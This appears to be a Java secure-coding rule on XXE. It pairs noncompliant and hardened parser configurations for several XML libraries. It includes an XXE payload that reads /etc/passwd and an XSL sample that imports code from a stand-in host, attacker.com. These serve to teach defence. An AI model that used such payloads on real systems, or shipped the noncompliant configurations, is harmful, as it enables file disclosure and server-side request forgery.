Disable access to external entities in XML parsing. Open
SAXParserFactory saxFac = SAXParserFactory.newInstance();
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XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.
Example in this XML document, an external entity read the /etc/passwd file:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet>
It is recommended to disable access to external entities and network access in general.
To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:
- ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
- ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
- ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);
Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to
false
the external-general-entities feature.
Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:
- it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
- or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).
When setting an entity
resolver to null
(eg: setEntityResolver(null)
) the parser will use its own resolution, which is unsafe.
Noncompliant Code Examples
DocumentBuilderFactory library:
String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = df.newDocumentBuilder(); // Noncompliant Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); // Noncompliant parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); // Noncompliant XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // Noncompliant Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // Noncompliant Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); Validator validator = schema.newValidator(); // Noncompliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer));
Dom4j library:
SAXReader xmlReader = new SAXReader(); // Noncompliant by default Document xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // Noncompliant by default Document document = builder.build(new File(xml));
Compliant Solution
DocumentBuilderFactory library:
String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant DocumentBuilder builder = df.newDocumentBuilder(); Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant // ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // validators will also inherit of these properties Validator validator = schema.newValidator(); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer));
For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:
SAXReader xmlReader = new SAXReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant Document xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // Compliant builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant Document document = builder.build(new File(xml));
See
- OWASP Top 10 2017 Category A4 - XML External Entities (XXE)
- OWASP XXE Prevention Cheat Sheet
- MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
- MITRE, CWE-827 - Improper Control of Document Type Definition